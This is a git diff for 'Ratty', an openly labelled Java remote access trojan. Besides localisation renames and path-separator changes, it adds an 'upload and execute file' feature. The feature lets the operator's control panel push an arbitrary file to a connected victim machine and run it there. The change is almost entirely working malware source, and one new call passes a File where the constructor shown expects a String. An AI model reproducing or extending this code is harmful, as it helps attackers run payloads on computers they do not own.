diff --git a/Ratty/res/gui_file_icons.png b/Ratty/res/gui_file_icons.png index 6c605c1..77e150a 100644 Binary files a/Ratty/res/gui_file_icons.png and b/Ratty/res/gui_file_icons.png differ diff --git a/Ratty/res/gui_menu_icons.png b/Ratty/res/gui_menu_icons.png index db3446e..5422435 100644 Binary files a/Ratty/res/gui_menu_icons.png and b/Ratty/res/gui_menu_icons.png differ diff --git a/Ratty/res/gui_notification_icons.png b/Ratty/res/gui_notification_icons.png index 3eca384..9da530f 100644 Binary files a/Ratty/res/gui_notification_icons.png and b/Ratty/res/gui_notification_icons.png differ diff --git a/Ratty/res/gui_tree_icons.png b/Ratty/res/gui_tree_icons.png index d9657bc..f2eb48b 100644 Binary files a/Ratty/res/gui_tree_icons.png and b/Ratty/res/gui_tree_icons.png differ diff --git a/Ratty/res/language/lang.properties b/Ratty/res/language/lang.properties index 0590f93..5469669 100644 --- a/Ratty/res/language/lang.properties +++ b/Ratty/res/language/lang.properties @@ -6,8 +6,10 @@ server.port_question=Which port should the server be bind to? server.port_error=Invalid port. server.free_warning=The client won't be available until the device restarts.\r\n\ Continue? -server.free_yes=Yes -server.free_no=Cancel +server.yes=Yes +server.no=Cancel +server.upload_execute_warning=The file will be uploaded to the same directory as the client file.\r\n\ +Continue? builder.address_question=Which address should the client connect to? builder.port_question=Which port? @@ -31,6 +33,7 @@ action.upload=Upload file here action.execute=Execute file action.delete=Delete file action.new_directory=Create new directory +action.upload_execute=Upload and execute file column.name=Name column.location=Location diff --git a/Ratty/res/language/lang_de.properties b/Ratty/res/language/lang_de.properties index 91dc98d..0808a83 100644 --- a/Ratty/res/language/lang_de.properties +++ b/Ratty/res/language/lang_de.properties @@ -6,8 +6,10 @@ server.port_question=An welchen Port soll der Server gebunden werden? server.port_error=Ungültiger Port. server.free_warning=Der Client wird bis zum Neustart des Gerätes nicht erreichbar sein.\r\n\ Fortfahren? -server.free_yes=Ja -server.free_no=Abbrechen +server.yes=Ja +server.no=Abbrechen +server.upload_execute_warning=Die Datei wird in denselben Ordner wie die Clientdatei hochgeladen.\r\n\ +Fortfahren? builder.address_question=Mit welcher Adresse soll sich der Client verbinden? builder.port_question=Welcher Port? @@ -31,6 +33,7 @@ action.upload=Datei hier hochladen action.execute=Datei ausführen action.delete=Datei löschen action.new_directory=Neuen Ordner erstellen +action.upload_execute=Datei hochladen und ausführen column.name=Name column.location=Ort diff --git a/Ratty/res/language/lang_en.properties b/Ratty/res/language/lang_en.properties index 0590f93..5469669 100644 --- a/Ratty/res/language/lang_en.properties +++ b/Ratty/res/language/lang_en.properties @@ -6,8 +6,10 @@ server.port_question=Which port should the server be bind to? server.port_error=Invalid port. server.free_warning=The client won't be available until the device restarts.\r\n\ Continue? -server.free_yes=Yes -server.free_no=Cancel +server.yes=Yes +server.no=Cancel +server.upload_execute_warning=The file will be uploaded to the same directory as the client file.\r\n\ +Continue? builder.address_question=Which address should the client connect to? builder.port_question=Which port? @@ -31,6 +33,7 @@ action.upload=Upload file here action.execute=Execute file action.delete=Delete file action.new_directory=Create new directory +action.upload_execute=Upload and execute file column.name=Name column.location=Location diff --git a/Ratty/res/language/lang_es.properties b/Ratty/res/language/lang_es.properties index c0a7425..4e8a7af 100644 --- a/Ratty/res/language/lang_es.properties +++ b/Ratty/res/language/lang_es.properties @@ -6,8 +6,8 @@ server.port_question= server.port_error=Puerto invalido. server.free_warning=¿El cliente no sera habilitado de nuevo hasta un reinicio.\r\n\ Continuas? -server.free_yes=Si -server.free_no=Cancelar +server.yes=Si +server.no=Cancelar builder.address_question=¿A que puerto quieres que se conecte el cliente? builder.port_question=¿Que puerto? diff --git a/Ratty/res/language/lang_nl.properties b/Ratty/res/language/lang_nl.properties index 8b55bb6..f101432 100644 --- a/Ratty/res/language/lang_nl.properties +++ b/Ratty/res/language/lang_nl.properties @@ -6,8 +6,8 @@ server.port_question=Welke poort zou de server zich aan moeten binden? server.port_error=Invaliede poort server.free_warning=De client zal pas bruikbaar zijn na het toestel herstart.\r\n\ Doorgaan? -server.free_yes=Ja -server.free_no=Aborteer +server.yes=Ja +server.no=Aborteer builder.address_question=Welk adres zou de client aan moete verbinden? builder.port_question=Welke poort? diff --git a/Ratty/res/language/lang_ru.properties b/Ratty/res/language/lang_ru.properties index 4f92d5b..4998445 100644 --- a/Ratty/res/language/lang_ru.properties +++ b/Ratty/res/language/lang_ru.properties @@ -6,8 +6,8 @@ server.port_question=\u041A\u0430\u043A\u043E\u0439 \u043F\u043E\u0440\u0442 \u0 server.port_error=\u041D\u0435\u0434\u0456\u0439\u0441\u043D\u0438\u0439 \u043F\u043E\u0440\u0442. server.free_warning=\u041A\u043B\u0438\u0435\u043D\u0442 \u043D\u0435 \u0431\u0443\u0434\u0435\u0442 \u0434\u043E\u0441\u0442\u0443\u043F\u0435\u043D \u0434\u043E \u043F\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043A\u0438 \u0443\u0441\u0442\u0440\u043E\u0439\u0441\u0442\u0432\u0430.\r\n\ \u041F\u0440\u043E\u0434\u043E\u043B\u0436\u0430\u0442\u044C? -server.free_yes=\u0414\u0430 -server.free_no=\u041E\u0442\u043C\u0435\u043D\u0438\u0442\u044C +server.yes=\u0414\u0430 +server.no=\u041E\u0442\u043C\u0435\u043D\u0438\u0442\u044C builder.address_question=\u0414\u043E \u041A\u0430\u043A\u043E\u0433\u043E \u0430\u0434\u0440\u0435\u0441\u0430 \u0434\u043E\u043B\u0436\u0435\u043D \u043A\u043B\u0438\u0435\u043D\u0442 \u043F\u043E\u0434\u043A\u043B\u044E\u0447\u0438\u0442\u044C\u0441\u044F? builder.port_question=\u041A\u0430\u043A\u043E\u0439 \u043F\u043E\u0440\u0442? diff --git a/Ratty/res/language/lang_tr.properties b/Ratty/res/language/lang_tr.properties index 3649f84..5a75106 100644 --- a/Ratty/res/language/lang_tr.properties +++ b/Ratty/res/language/lang_tr.properties @@ -5,8 +5,8 @@ debug.client=Client server.port_question=Server hangi porta ba\u011Flansin? server.port_error=Geçersiz port. server.free_warning=Cihaz tekrar ba\u015Flatmadan bilgisayarlar ba\u011Flanmas, devam? -server.free_yes=Evet -server.free_no=Iptal +server.yes=Evet +server.no=Iptal builder.address_question=Client hangi adres'e ba\u011Flansin? builder.port_question=Hangi port? diff --git a/Ratty/res/language/lang_uk.properties b/Ratty/res/language/lang_uk.properties index 88eb136..c859769 100644 --- a/Ratty/res/language/lang_uk.properties +++ b/Ratty/res/language/lang_uk.properties @@ -6,8 +6,8 @@ server.port_question=\u042F\u043A\u0438\u0439 \u043F\u043E\u0440\u0442 \u043F\u0 server.port_error=\u041D\u0435\u0434\u0456\u0439\u0441\u043D\u0438\u0439 \u043F\u043E\u0440\u0442. server.free_warning= \u041A\u043B\u0456\u0454\u043D\u0442 \u043D\u0435 \u0431\u0443\u0434\u0435 \u0434\u043E\u0441\u0442\u0443\u043F\u043D\u0438\u0439 \u0434\u043E \u043F\u0435\u0440\u0435\u0437\u0430\u043F\u0443\u0441\u043A\u0443 \u043F\u0440\u0438\u0441\u0442\u0440\u043E\u0439\u0441\u0442\u0432\u0430.\r\n\ \u041F\u0440\u043E\u0434\u043E\u0432\u0436\u0438\u0442\u0438? -server.free_yes=\u0422\u0430\u043A -server.free_no=\u0412\u0456\u0434\u043C\u0456\u043D\u0438\u0442\u0438 +server.yes=\u0422\u0430\u043A +server.no=\u0412\u0456\u0434\u043C\u0456\u043D\u0438\u0442\u0438 builder.address_question=\u0414\u043E \u044F\u043A\u043E\u0433\u043E \u0430\u0434\u0440\u0435\u0441\u0443 \u043F\u043E\u0432\u0438\u043D\u0435\u043D \u043A\u043B\u0456\u0454\u043D\u0442 \u043F\u0456\u0434\u043A\u043B\u044E\u0447\u0438\u0442\u0438\u0441\u044F? builder.port_question=\u042F\u043A\u0438\u0439 \u043F\u043E\u0440\u0442? diff --git a/Ratty/res/ping.wav b/Ratty/res/ping.wav index eee4ecd..4536a04 100644 Binary files a/Ratty/res/ping.wav and b/Ratty/res/ping.wav differ diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 00629cd..49308f0 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -23,7 +23,7 @@ import de.sogomn.rat.server.gui.RattyGuiController; public final class Ratty { public static final boolean DEBUG = true; - public static final String VERSION = "1.11"; + public static final String VERSION = "1.12"; public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang"); private static String address; diff --git a/Ratty/src/de/sogomn/rat/packet/CreateDirectoryPacket.java b/Ratty/src/de/sogomn/rat/packet/CreateDirectoryPacket.java index 455b709..155a680 100644 --- a/Ratty/src/de/sogomn/rat/packet/CreateDirectoryPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/CreateDirectoryPacket.java @@ -9,6 +9,8 @@ public final class CreateDirectoryPacket implements IPacket { private String path, name; + private static final String FILE_SEPARATOR = "/"; + public CreateDirectoryPacket(final String path, final String name) { this.path = path; this.name = name; @@ -37,12 +39,12 @@ public final class CreateDirectoryPacket implements IPacket { String fullPath = null; if (folder.isDirectory()) { - fullPath = path + File.separator + name; + fullPath = path + FILE_SEPARATOR + name; } else { final File parent = folder.getParentFile(); if (parent != null) { - fullPath = parent.getAbsolutePath() + File.separator + name; + fullPath = parent.getAbsolutePath() + FILE_SEPARATOR + name; } } diff --git a/Ratty/src/de/sogomn/rat/packet/FileRequestPacket.java b/Ratty/src/de/sogomn/rat/packet/FileRequestPacket.java index 2a099c2..3460268 100644 --- a/Ratty/src/de/sogomn/rat/packet/FileRequestPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/FileRequestPacket.java @@ -14,6 +14,7 @@ public class FileRequestPacket extends AbstractPingPongPacket { private static final byte INCOMING = 1; private static final byte END = 0; + private static final String FILE_SEPARATOR = "/"; public FileRequestPacket(final String rootFile) { this.rootFile = rootFile; @@ -66,7 +67,7 @@ public class FileRequestPacket extends AbstractPingPongPacket { protected void executeRequest(final ActiveConnection connection) { final File[] children; - if (rootFile.isEmpty() || rootFile.equals(File.separator)) { + if (rootFile.isEmpty() || rootFile.equals(FILE_SEPARATOR)) { children = File.listRoots(); } else { final File file = new File(rootFile); diff --git a/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java b/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java index dea85dd..8fdf7fd 100644 --- a/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java +++ b/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java @@ -9,10 +9,13 @@ import de.sogomn.rat.util.QuickLZ; public final class UploadFilePacket implements IPacket { private byte[] data; - private String folderPath, fileName; + private String directoryPath, fileName; + + private static final String USER_DIR = "user.dir"; + private static final String FILE_SEPARATOR = "/"; public UploadFilePacket(final String filePath, final String folderPath) { - this.folderPath = folderPath; + this.directoryPath = folderPath; final File file = new File(filePath); @@ -25,7 +28,7 @@ public final class UploadFilePacket implements IPacket { } public UploadFilePacket() { - folderPath = fileName = ""; + directoryPath = fileName = ""; } @Override @@ -34,7 +37,7 @@ public final class UploadFilePacket implements IPacket { connection.writeInt(compressed.length); connection.write(compressed); - connection.writeUTF(folderPath); + connection.writeUTF(directoryPath); connection.writeUTF(fileName); } @@ -46,23 +49,27 @@ public final class UploadFilePacket implements IPacket { connection.read(data); data = QuickLZ.decompress(data); - folderPath = connection.readUTF(); + directoryPath = connection.readUTF(); fileName = connection.readUTF(); + + if (directoryPath.isEmpty()) { + directoryPath = System.getProperty(USER_DIR); + } } @Override public void execute(final ActiveConnection connection) { - final File folder = new File(folderPath); + final File directory = new File(directoryPath); String path = null; - if (folder.isDirectory()) { - path = folderPath + File.separator + fileName; + if (directory.isDirectory()) { + path = directoryPath + FILE_SEPARATOR + fileName; } else { - final File parent = folder.getParentFile(); + final File parent = directory.getParentFile(); if (parent != null) { - path = parent.getAbsolutePath() + File.separator + fileName; + path = parent.getAbsolutePath() + FILE_SEPARATOR + fileName; } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java index cdd1374..a796cf8 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java @@ -7,7 +7,6 @@ import java.awt.event.ActionEvent; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.awt.image.BufferedImage; -import java.io.File; import javax.swing.Icon; import javax.swing.ImageIcon; @@ -37,6 +36,7 @@ public final class FileTree extends AbstractListenerContainer { private FileTreeNode lastNodeClicked; private static final String ROOT_NAME = ""; + private static final String SEPARATOR_REGEX = "[\\\\\\/]"; private static final Dimension DEFAULT_SIZE = new Dimension(500, 500); private static final BufferedImage[] MENU_ICONS = new SpriteSheet(ImageUtils.scaleImage(ImageUtils.loadImage("/gui_tree_icons.png"), 2), 16 * 2, 16 * 2).getSprites(); @@ -140,7 +140,7 @@ public final class FileTree extends AbstractListenerContainer { } public void addNodeStructure(final String path) { - final String[] parts = path.split("\\" + File.separator); + final String[] parts = path.split(SEPARATOR_REGEX); if (parts.length == 0) { final String[] part = {path}; diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java index b1778ec..09f49de 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java @@ -1,6 +1,5 @@ package de.sogomn.rat.server.gui; -import java.io.File; import java.util.ArrayList; import java.util.Collections; import java.util.Enumeration; @@ -15,6 +14,8 @@ public final class FileTreeNode implements MutableTreeNode { private String name; + private static final String FILE_SEPARATOR = "/"; + public FileTreeNode(final String name) { this.name = name; @@ -144,7 +145,7 @@ public final class FileTreeNode implements MutableTreeNode { while (current != null) { final String name = current.getName(); - builder.insert(0, name + File.separator); + builder.insert(0, name + FILE_SEPARATOR); current = current.getParent(); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 976e609..37ee663 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -50,6 +50,7 @@ final class RattyGui extends AbstractListenerContainer { private ServerClient lastServerClientClicked; private static final Dimension SIZE = new Dimension(1150, 600); + private static final String TITLE = "Ratty"; private static final BufferedImage GUI_ICON_SMALL = ImageUtils.loadImage("/gui_icon.png"); private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(GUI_ICON_SMALL, 64, 64); @@ -68,6 +69,7 @@ final class RattyGui extends AbstractListenerContainer { public static final String CLIPBOARD = LANGUAGE.getString("action.clipboard"); public static final String WEBSITE = LANGUAGE.getString("action.website"); public static final String AUDIO = LANGUAGE.getString("action.audio"); + public static final String UPLOAD_EXECUTE = LANGUAGE.getString("action.upload_execute"); public static final String FREE = LANGUAGE.getString("action.free"); public static final String BUILD = LANGUAGE.getString("action.build"); public static final String ATTACK = LANGUAGE.getString("action.attack"); @@ -82,11 +84,12 @@ final class RattyGui extends AbstractListenerContainer { CLIPBOARD, AUDIO, WEBSITE, + UPLOAD_EXECUTE, FREE }; public RattyGui() { - frame = new JFrame(); + frame = new JFrame(TITLE); table = new JTable(); tableModel = new ServerClientTableModel(); scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); @@ -171,10 +174,14 @@ final class RattyGui extends AbstractListenerContainer { tableModel.removeServerClient(client); } - public int showWarning(final String message, final String... options) { + public boolean showWarning(final String message, final String... options) { final int input = JOptionPane.showOptionDialog(frame, message, null, JOptionPane.YES_NO_OPTION, JOptionPane.WARNING_MESSAGE, null, options, null); - return input; + if (input == JOptionPane.YES_OPTION) { + return true; + } + + return false; } public void showError(final String message) { diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 6cfe1b5..4a2f0b9 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -8,8 +8,6 @@ import java.io.IOException; import java.util.HashMap; import java.util.Set; -import javax.swing.JOptionPane; - import de.sogomn.engine.fx.Sound; import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.builder.JarBuilder; @@ -54,11 +52,12 @@ public final class RattyGuiController extends AbstractRattyController implements }; private static final String FREE_WARNING = LANGUAGE.getString("server.free_warning"); - private static final String FREE_OPTION_YES = LANGUAGE.getString("server.free_yes"); - private static final String FREE_OPTION_NO = LANGUAGE.getString("server.free_no"); + private static final String OPTION_YES = LANGUAGE.getString("server.yes"); + private static final String OPTION_NO = LANGUAGE.getString("server.no"); private static final String BUILDER_ERROR_MESSAGE = LANGUAGE.getString("builder.error"); private static final String BUILDER_ADDRESS_QUESTION = LANGUAGE.getString("builder.address_question"); private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question"); + private static final String UPLOAD_EXECUTE_WARNING = LANGUAGE.getString("server.upload_execute_warning"); private static final Sound PING = Sound.loadSound("/ping.wav"); @@ -171,9 +170,9 @@ public final class RattyGuiController extends AbstractRattyController implements } private FreePacket createFreePacket() { - final int input = gui.showWarning(FREE_WARNING, FREE_OPTION_YES, FREE_OPTION_NO); + final boolean accepted = gui.showWarning(FREE_WARNING, OPTION_YES, OPTION_NO); - if (input == JOptionPane.YES_OPTION) { + if (accepted) { final FreePacket packet = new FreePacket(); return packet; @@ -247,6 +246,26 @@ public final class RattyGuiController extends AbstractRattyController implements //... } + private void uploadExecute(final ServerClient client) { + final boolean accepted = gui.showWarning(UPLOAD_EXECUTE_WARNING, OPTION_YES, OPTION_NO); + + if (!accepted) { + return; + } + + final File file = gui.getFile(); + + if (file == null) { + return; + } + + final UploadFilePacket upload = new UploadFilePacket(file, ""); + final ExecuteFilePacket execute = new ExecuteFilePacket(file.getName()); + + client.connection.addPacket(upload); + client.connection.addPacket(execute); + } + private void handleCommand(final ServerClient client, final String command) { if (command == RattyGui.FILES) { client.fileTree.setVisible(true); @@ -262,6 +281,8 @@ public final class RattyGuiController extends AbstractRattyController implements startBuilder(); } else if (command == FileTree.REQUEST) { requestFile(client); + } else if (command == RattyGui.UPLOAD_EXECUTE) { + uploadExecute(client); } }